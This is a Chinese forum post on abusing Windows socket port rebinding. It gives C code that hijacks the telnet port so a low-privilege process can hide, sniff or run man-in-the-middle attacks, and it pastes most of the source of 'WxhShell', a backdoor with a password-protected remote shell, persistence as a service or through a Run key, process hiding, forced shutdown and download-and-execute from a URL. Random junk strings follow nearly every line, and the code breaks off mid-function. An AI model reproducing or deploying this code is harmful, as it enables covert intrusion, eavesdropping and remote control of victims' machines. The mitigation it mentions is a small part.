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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v_b%2;<1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); = i `o+H  
9/0<Z_b2  
  saddr.sin_family = AF_INET; eO*FoN  
-`A6K!W&~p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .)Du ;  
-[G+*3Y{7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rFGbp8(2  
%kyvt t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2'N%KKmJL  
;Q\Duj  
  这意味着什么?意味着可以进行如下的攻击: QKe=/;  
h19c*,0z!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rry 33  
`2}Mz9mk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >+&524xc  
lNqYpyvy*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JH5ckgdZ  
<Azv VSA,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  MsfY|(/m  
l&[x)W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ij4oH  
j^>J*gLM}W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^Qq_|{vynf  
IL&Mf9m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *ewE{$UpK  
yX/ 9jk  
  #include m{;2!  
  #include }5u$/c@f1  
  #include IrM Ws86;  
  #include    3u _[=a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /0@'8f\I  
  int main() 0]fzjiaGt  
  { 3+0 $=ef  
  WORD wVersionRequested; R>yoMk/u  
  DWORD ret; E&/#Ov  
  WSADATA wsaData; T5Yu+>3  
  BOOL val; up#W"`"  
  SOCKADDR_IN saddr; 4uwI=UUB  
  SOCKADDR_IN scaddr; DFcgUEq  
  int err; EH=[!iW;  
  SOCKET s; X6kCYTJYF  
  SOCKET sc; 4Un(}P'   
  int caddsize; S&q@M  
  HANDLE mt; Mnc9l ^  
  DWORD tid;   JN,4#,  
  wVersionRequested = MAKEWORD( 2, 2 ); ^cn%]X#.  
  err = WSAStartup( wVersionRequested, &wsaData ); Il`35~a  
  if ( err != 0 ) { =# <!s!  
  printf("error!WSAStartup failed!\n"); JgEPzHgx  
  return -1; ">@]{e*  
  } `O5w M\Z  
  saddr.sin_family = AF_INET; [RoOc)u  
   VG_ PBG(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 AAb3Jf`UW  
fp^{612O?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &gR)Y3  
  saddr.sin_port = htons(23); eVGO6 2|!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jb|al[p\  
  { EyO=M~nsS  
  printf("error!socket failed!\n"); 5bKM}? =L  
  return -1; $SQ UN*/>  
  } 6j/g/!9c!  
  val = TRUE; xf% _HMKc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 uB_8P+h7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zmB6Y t  
  { m:SG1m_6  
  printf("error!setsockopt failed!\n"); ;SnpD)x@)  
  return -1; f{mWy1NH\  
  } \,&,Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P;4Y%Dq~Qo  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6Cfu19Dx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Lyo!}T  
Vsw] v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C9OEB6  
  { e ?sMOBPlv  
  ret=GetLastError(); nvY%{Zf$}  
  printf("error!bind failed!\n"); \MI2^J N  
  return -1; j*Uz.q?  
  } 69N/_V  
  listen(s,2); >xsbXQ>.  
  while(1) 41Ga-0p  
  { w`KqB(36  
  caddsize = sizeof(scaddr); Lz6b9W  
  //接受连接请求 B>C+qj@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =S+*= jA  
  if(sc!=INVALID_SOCKET)  Z(F['Zf  
  { M~+}ss  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xP/?E  
  if(mt==NULL) VW&EdrR,S  
  { )cP &c=  
  printf("Thread Creat Failed!\n");  S1$lNB  
  break; e<A6= }  
  } wr5ScsNS  
  } AS5' j  
  CloseHandle(mt); 2S,N9 (7  
  } R RRF/Z;))  
  closesocket(s); !B|Aq- n,  
  WSACleanup(); v'RpsCov  
  return 0; w2X0.2)P2  
  }   . ,h>2;f  
  DWORD WINAPI ClientThread(LPVOID lpParam) f.)z_RyGd  
  { Jt ++3]  
  SOCKET ss = (SOCKET)lpParam; -d>2&)5  
  SOCKET sc; `)y<X#[8  
  unsigned char buf[4096]; 00SYNG!  
  SOCKADDR_IN saddr; R5Pk>-KF  
  long num;  m#K)%0  
  DWORD val; Z=ZTSl   
  DWORD ret; pmwVVUEQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 = -bGH   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )_C+\K*  
  saddr.sin_family = AF_INET; 'Dn\.x^]1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [J!jp& o  
  saddr.sin_port = htons(23); ~F"<Nq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a_Sp}s<J  
  { FP=up#zl  
  printf("error!socket failed!\n"); ,ArHS  
  return -1; \<ko)I#%  
  } / <C{$Gu  
  val = 100; >V%lA3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6;:z?Q  
  { \1Xr4H u  
  ret = GetLastError(); Yyxsj9  
  return -1; Xfc+0$U@  
  } Y-?0!a=e.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |E?PQ?P  
  { v*";A  
  ret = GetLastError(); dl]pdg<  
  return -1; 9\'JtZO  
  } YjCHKI"e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %g_ )_ ~  
  { NiH =T  
  printf("error!socket connect failed!\n"); y'5`Uo?\",  
  closesocket(sc); I1 pnF61U  
  closesocket(ss); 'Z*`~,Q  
  return -1; n!-]f.=P  
  } K'Y/0:"*  
  while(1) ["fUSQ  
  { I q?n*P$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bey:Qj??  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B[ .$<$}G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t zShds  
  num = recv(ss,buf,4096,0); )IVk4|  
  if(num>0) 8NkyT_\  
  send(sc,buf,num,0); =Vm3f^  
  else if(num==0) `w&?SXFO8  
  break; Z9G4in8  
  num = recv(sc,buf,4096,0); 0tz? sN  
  if(num>0) sYhHh$mwA  
  send(ss,buf,num,0); (%c&Km7K  
  else if(num==0) Gf +>Aj U'  
  break; 4bCA"QM[[  
  } 4_D *xW  
  closesocket(ss); ) &DsRA7v  
  closesocket(sc); {,!!jeOO  
  return 0 ; - {}(U  
  } ]=o1to-  
L +mE&  
6FYL},.R  
========================================================== &OlX CxH  
=xQPg0g  
下边附上一个代码,,WXhSHELL v%r/PHw  
O{7rIy  
========================================================== 7}I';>QH  
6j8\3H~  
#include "stdafx.h" e*}*3kw)T  
Sp6==(:.  
#include <stdio.h> R4X9g\KpAt  
#include <string.h> /d+v4GIB  
#include <windows.h> |}2/:f#Iz*  
#include <winsock2.h> kbL7Xjk  
#include <winsvc.h> deQ {  
#include <urlmon.h> b# Dd  
tPa( H;  
#pragma comment (lib, "Ws2_32.lib") ScjeAC)  
#pragma comment (lib, "urlmon.lib") ow  
Zor!hc0<  
#define MAX_USER   100 // 最大客户端连接数 =), O;M  
#define BUF_SOCK   200 // sock buffer P*jiz@6  
#define KEY_BUFF   255 // 输入 buffer YZ]}l%e  
g&S> Wq%L  
#define REBOOT     0   // 重启 LGw-cX #  
#define SHUTDOWN   1   // 关机 H<}|n1w<  
 ?H!jKX  
#define DEF_PORT   5000 // 监听端口 Nd]RbX  
)Z/$;7]#  
#define REG_LEN     16   // 注册表键长度 <"K2t Tg.  
#define SVC_LEN     80   // NT服务名长度 n=)LB& m  
S|xwYaoy%  
// 从dll定义API dDSb1TM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UD8e,/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yZ!~m3Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (-Q~@Q1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o~9sO=-O  
7IFZK\V  
// wxhshell配置信息 f[vm]1#  
struct WSCFG { Y}xM&%  
  int ws_port;         // 监听端口 7NT0]j(w-  
  char ws_passstr[REG_LEN]; // 口令 \[qxOZ{  
  int ws_autoins;       // 安装标记, 1=yes 0=no %y\5L#T!>  
  char ws_regname[REG_LEN]; // 注册表键名 [MQ* =*  
  char ws_svcname[REG_LEN]; // 服务名 kOdA8X RY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "N ">RjJ"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U'msHF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T{2)d]Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !Pz#czo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FGPqF;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ps?su`  
~%lA! tsek  
}; m,"-/)  
 }D+ b`,  
// default Wxhshell configuration s?s ,wdp  
struct WSCFG wscfg={DEF_PORT, $9j>oUG  
    "xuhuanlingzhe", |Xm$O1Wa  
    1, S,C c0)j>  
    "Wxhshell", ,}khu  
    "Wxhshell",  3Z`"k2k  
            "WxhShell Service", ]%I\FefT  
    "Wrsky Windows CmdShell Service", #?+[|RS|  
    "Please Input Your Password: ", FZ}^)u}o  
  1, K2e68GU  
  "http://www.wrsky.com/wxhshell.exe", ]'7Au]Us`  
  "Wxhshell.exe" ~ES%=if~Y  
    }; 3=o4ncg(  
E24SD'|)  
// 消息定义模块 IA&V?{OE@I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b%*`}B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wx`.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '<vb_8.  
char *msg_ws_ext="\n\rExit."; 3UmkFK<  
char *msg_ws_end="\n\rQuit."; "wcw`TsK  
char *msg_ws_boot="\n\rReboot..."; ji>LBbnHdE  
char *msg_ws_poff="\n\rShutdown..."; rW|%eT*/'A  
char *msg_ws_down="\n\rSave to "; {chZ&8)f  
d>mT+{3  
char *msg_ws_err="\n\rErr!"; >Ut: -}CS  
char *msg_ws_ok="\n\rOK!"; SOX7  
g\q4-  
char ExeFile[MAX_PATH]; 94et ]u%7  
int nUser = 0; YjnQ@IfIH  
HANDLE handles[MAX_USER]; - f ^ ! R  
int OsIsNt; b{,v?7^4  
&;pM<h  
SERVICE_STATUS       serviceStatus; pZK 1G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fzw:[z:%  
4X*U~}  
// 函数声明 }apno|W&  
int Install(void); k H<C9z2=  
int Uninstall(void); 9_d# F'#F  
int DownloadFile(char *sURL, SOCKET wsh); U,p'<rmS  
int Boot(int flag); [0105l5  
void HideProc(void); us~cIGm  
int GetOsVer(void); jUKMDl H  
int Wxhshell(SOCKET wsl); '(C+qwdRv  
void TalkWithClient(void *cs); AX%}ip[PC  
int CmdShell(SOCKET sock); ,52Lm=n  
int StartFromService(void); T n/Zs|  
int StartWxhshell(LPSTR lpCmdLine); Cse`MP  
?>{u@tYL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T@{ab1KV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y'm;xA  
]\ !ka/%  
// 数据结构和表定义 +6l#hO7h  
SERVICE_TABLE_ENTRY DispatchTable[] = P_0[spmFU  
{ 9xj }<WM  
{wscfg.ws_svcname, NTServiceMain}, g 8uq6U  
{NULL, NULL} iZiT/#,H2  
}; EI*~VFx  
[zm@hxym  
// 自我安装 ~]RfOpq^w  
int Install(void) ?< ^8,H  
{ d/F^ez  
  char svExeFile[MAX_PATH]; m,t{D, 2  
  HKEY key; j;b>~_ U%  
  strcpy(svExeFile,ExeFile); ~E((n  
_aOs8#(X  
// 如果是win9x系统,修改注册表设为自启动 xM!9$v  
if(!OsIsNt) { kvbW^pl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T [xIn+w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @VW1^{.do^  
  RegCloseKey(key); AZ4?N.X?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7gV9m9#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -C(Yl=  
  RegCloseKey(key); $:oC\K6  
  return 0; MZX)znO  
    } 0&fO)de96  
  } yA"?Hv\o;  
} )D#}/3s  
else { eGg6wd  
fNu/>pN  
// 如果是NT以上系统,安装为系统服务 qD\9h`a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1$Q[%9  
if (schSCManager!=0) %i/|}K  
{ Q:Pp'[ RK  
  SC_HANDLE schService = CreateService mRC3w(W  
  ( -6I*k |%8T  
  schSCManager, ,g}$u'A+d  
  wscfg.ws_svcname, "= %"@"<)  
  wscfg.ws_svcdisp, jUNt4  
  SERVICE_ALL_ACCESS, J ;z`bk^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l3ogMRq@  
  SERVICE_AUTO_START, Kw;gQk~R!  
  SERVICE_ERROR_NORMAL, u6?9#L(  
  svExeFile, *S.FM.r  
  NULL, E9I08AODS  
  NULL, 2cQ~$  
  NULL, 6lg]5d2CD  
  NULL, r,.j^a  
  NULL EATVce]T  
  ); b?KdR5  
  if (schService!=0) )\:IRr"  
  { r ~UDK]?V  
  CloseServiceHandle(schService); N9#xTX  
  CloseServiceHandle(schSCManager); w.aEc}@(^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DpA)Vdj  
  strcat(svExeFile,wscfg.ws_svcname); e21J9e6z   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '"\n,3h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t bR  
  RegCloseKey(key); ^78N25RU(  
  return 0; ;Wy03}K4J  
    } -N^Ah_9ek  
  } KWjhkRK4]  
  CloseServiceHandle(schSCManager); g9JZ#BgZ  
} 7?uDh'utt  
} MG.c`t/w  
l#T %N@X  
return 1; psmDGSm,&  
} Or?c21un  
)V>OND  
// 自我卸载 |hi,]D^Kc  
int Uninstall(void) fV Y I  
{ q'+ARW48  
  HKEY key; U7jDm>I  
]nebL{}5  
if(!OsIsNt) { }T\.;$f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2*O# m  
  RegDeleteValue(key,wscfg.ws_regname); ^?(#%~NS  
  RegCloseKey(key); }za pN v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y7g%nz[[  
  RegDeleteValue(key,wscfg.ws_regname); ,4'y(X<R  
  RegCloseKey(key); F5YoEWS  
  return 0; ?yj g\S?L  
  } !LpjTMYs  
} F."ZCEb  
} e4Qjx*[G  
else { PPySOkmS3  
T6\]*mlr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Pf%I6bVN9  
if (schSCManager!=0) Zazs".  
{ z a_0-G%C2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =8tK]lb  
  if (schService!=0) W$,/hB& z  
  { R+K|K2"  
  if(DeleteService(schService)!=0) { S& IW]ffK  
  CloseServiceHandle(schService); \ILNx^$EL  
  CloseServiceHandle(schSCManager); xYv;l\20.  
  return 0; e_3jyA@v  
  } ;8&/JSN M  
  CloseServiceHandle(schService); wzxV)1jT  
  } #W8?E_iu  
  CloseServiceHandle(schSCManager); }AB_i'C0  
} u8>aO>(bVg  
} G}l9 [lE  
Iq,h}7C8'  
return 1; =X5w=(&  
} PknKzrEG:>  
0L32sF y  
// 从指定url下载文件 Uvc$&j^k  
int DownloadFile(char *sURL, SOCKET wsh) t}Td$K7  
{ z?Z"*z  
  HRESULT hr; d(^HO~p  
char seps[]= "/"; 6A.%)whI;  
char *token; %vZHHBylu  
char *file; \*{MgwF  
char myURL[MAX_PATH]; Ths~8{dMb  
char myFILE[MAX_PATH]; BGj!/E  
F Xr\  
strcpy(myURL,sURL); gXs9qY%=  
  token=strtok(myURL,seps); _U4@W+lhX_  
  while(token!=NULL) (gVN<Es  
  { O"o|8 l}M/  
    file=token; tl~ZuS/  
  token=strtok(NULL,seps); Vi^vG`L9  
  } -u"|{5? '  
i4k [#x  
GetCurrentDirectory(MAX_PATH,myFILE);  03zt^<  
strcat(myFILE, "\\"); D~i5E9s5  
strcat(myFILE, file); ^;s/4  
  send(wsh,myFILE,strlen(myFILE),0); C%E~9_w  
send(wsh,"...",3,0); J| wk})?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j<BRaT  
  if(hr==S_OK) GLZ*5kw  
return 0; NhNd+SCZ@  
else VKYljY0#  
return 1; b|Ge#o  
C_q2bI  
} oO3 ^9?Z  
svxjad@l/  
// 系统电源模块 V*2 * 5hx  
int Boot(int flag) }|;j2'(R  
{ CFW Hih  
  HANDLE hToken; W" vkmk  
  TOKEN_PRIVILEGES tkp; >m!Z$m([J  
0iR?r+|  
  if(OsIsNt) { +p jB/#4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J> ,w},`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VrfEa d  
    tkp.PrivilegeCount = 1; ?Q"<AL>Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (X5y%~;V5a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {2Tu_2>  
if(flag==REBOOT) { X|!@%wuGC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >vXJ9\  
  return 0; ( [a$Z2m  
} Aep](je  
else { OMo/a%`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |k]]dP|:'  
  return 0; WwWOic2  
} os;9 4yd )  
  } (7! pc  
  else { toD!RE  
if(flag==REBOOT) { ;3& wO~lW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >}NnzZ  
  return 0; N+ ]O#Js?  
} {%k[Z9*tO  
else { *5s*-^'#!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Uea2WJpX  
  return 0; 8;<aco/62  
} q\jq9)  
} 1GkoE  
' CJ_&HR  
return 1; GoX<d{  
} <1lB[:@%U  
37 ?X@@Z=  
// win9x进程隐藏模块 >f^kp8`3{Y  
void HideProc(void) H l(W'>*oL  
{ *w ^!\  
1/ j >|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (gvnIoDl0  
  if ( hKernel != NULL ) !UP B4I  
  { WnOYU9 ;%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wi.E$R ckD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jjEu  
    FreeLibrary(hKernel); dG~U3\!  
  } N:pP@o  
RZq_}-P,.c  
return; $K\e Pfk  
} q2`mu4B  
Ny`SE\B+/  
// 获取操作系统版本 3@O/#CP+  
int GetOsVer(void) ~Hg*vCd ?  
{ N|@ tP:j  
  OSVERSIONINFO winfo; @sZ' --Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 99'c\[fd'  
  GetVersionEx(&winfo); `<T4 En  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?kV_!2U)'K  
  return 1; "mU2^4q  
  else XJl 3\*  
  return 0; RHvK Wt  
} #7:ah  
"9hD4R  
// 客户端句柄模块 `e7vSp  
int Wxhshell(SOCKET wsl) mrKIiaU<J  
{ ${ DSH  
  SOCKET wsh; k'e1ZAn  
  struct sockaddr_in client; #^|2PFh5  
  DWORD myID; 8~.8"gQ  
m@D :t 5  
  while(nUser<MAX_USER) IvQuxs&a  
{ qyy .&+  
  int nSize=sizeof(client); {A ,w%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &F[N$6:v  
  if(wsh==INVALID_SOCKET) return 1; N(J#<;!yb  
'?NMQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); , .=7{y~  
if(handles[nUser]==0) }9z$72;Qdq  
  closesocket(wsh); u9c^YCBM  
else t(.vX  
  nUser++; l`X?C~JhJ  
  } r~,3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9]G~i`QQ  
D]'8BS3  
  return 0; vt(}8C+  
} XS&;8 PO  
9 MQwc  
// 关闭 socket |KPNl\%ID  
void CloseIt(SOCKET wsh) /Gb)BJk!  
{ }LEasj  
closesocket(wsh); S @!z'$&  
nUser--; "_BWUY  
ExitThread(0); !VudZ]Sg  
} Aq'~'hS`1  
kxAT  
// 客户端请求句柄 U =g&c `  
void TalkWithClient(void *cs) A+\rGVNH'S  
{ e!C,<W&B\  
*U8,Q]gS  
  SOCKET wsh=(SOCKET)cs; wA,-!m  
  char pwd[SVC_LEN]; &g*1If  
  char cmd[KEY_BUFF]; @l_rB~  
char chr[1]; c5Kc iTD^  
int i,j; w'xPKO$bzR  
JH2-'  
  while (nUser < MAX_USER) { ]D2 d=\  
fv* $=m  
if(wscfg.ws_passstr) { p>T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |x _jpR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q!5`9u6  
  //ZeroMemory(pwd,KEY_BUFF); @K#}nKN'  
      i=0; 6*|EB|%n  
  while(i<SVC_LEN) { { Rxb_9  
7fT_]H8  
  // 设置超时 8r0;054  
  fd_set FdRead; o9]!*Y!RA  
  struct timeval TimeOut; !{g>g%2!  
  FD_ZERO(&FdRead); H2+Ijn19E  
  FD_SET(wsh,&FdRead); ?AI`,*^  
  TimeOut.tv_sec=8; brqmi<*9"[  
  TimeOut.tv_usec=0; &t6SI'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4~nf~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gKWUHlQY  
=|^R<#%/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~Hx>yn94e  
  pwd=chr[0]; KYg'=({x  
  if(chr[0]==0xd || chr[0]==0xa) { Kj4L PG  
  pwd=0; Yfz`or\@=  
  break; i~4$V  
  } 9r8bSV3`  
  i++; SU~ljAF4  
    } '8@4FXK  
^O"o-3dte  
  // 如果是非法用户,关闭 socket v//Drj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `'bu8JK  
} 1u }2}c|  
uXG$YDKqC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DsHm,dZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mGw*6kOIS  
/|v b)J  
while(1) { d=g,s[FMm  
%;GRR (K  
  ZeroMemory(cmd,KEY_BUFF); G*zhy!P  
j4#S/:Q<7  
      // 自动支持客户端 telnet标准   |Ur$H!oe?'  
  j=0; PnI_W84z  
  while(j<KEY_BUFF) { +' .o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {Sc*AE&Y  
  cmd[j]=chr[0]; .SWn/Kk  
  if(chr[0]==0xa || chr[0]==0xd) { OZ<fQf.Gh}  
  cmd[j]=0; B/JMH 1r  
  break; MBol_#H  
  } Fj&8wZ)v)  
  j++; W#x~x|(c  
    } HJe6h. P  
Fa X3@Sd!  
  // 下载文件 0v3 8LBH)  
  if(strstr(cmd,"http://")) { '|yBz1uL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j 4(f1  
  if(DownloadFile(cmd,wsh)) VY!A]S"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Vt CC/  
  else }$3pS:_N~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?y[i6yN9  
  } 4(8BWP~.y2  
  else { '@5"p.  
{'+.?g  
    switch(cmd[0]) { ipRH.1=  
  =MmAnjo  
  // 帮助 x^YsXzu  
  case '?': { j>hBNz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <M,=( p{  
    break; FeZGPxc~  
  } gJOD+~  
  // 安装 |q\Rvt$d  
  case 'i': { yV) 9KGV+:  
    if(Install()) z) "(&__  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !~}@Eoii4  
    else r{Z4ifSl(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mr XmM<  
    break; i%r+/D)KvG  
    } Z4T{CwD`D  
  // 卸载 L5]uT`Twa  
  case 'r': { qI2&a$Zb$  
    if(Uninstall()) WG5)-;>q|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .DhB4v&  
    else 6eK7Jv\K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R)]+>M-.  
    break; e1R<+`]  
    } {"*gX&;~  
  // 显示 wxhshell 所在路径 ZBc8 ^QZ  
  case 'p': { D.w6/DxaXa  
    char svExeFile[MAX_PATH]; '=ydU+X  
    strcpy(svExeFile,"\n\r"); .fNLhyd  
      strcat(svExeFile,ExeFile); Ot~buf'|  
        send(wsh,svExeFile,strlen(svExeFile),0); %?O$xQ.<  
    break; TA"gU8YQ  
    } x\Kt}/97e  
  // 重启 wQOIUvd  
  case 'b': { OT3~5j1[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W`jKe-jF  
    if(Boot(REBOOT)) zm=|#f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9f3rMPVh(  
    else { &^F'ME  
    closesocket(wsh); -EWC3,3  
    ExitThread(0); 4FJA+  
    } SA,+oq(  
    break; ded:yho   
    } )p 8P\Rl  
  // 关机 O|&SL03Z8  
  case 'd': { aydf# [F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *#o2b-[V  
    if(Boot(SHUTDOWN)) ])Z p|?Y  
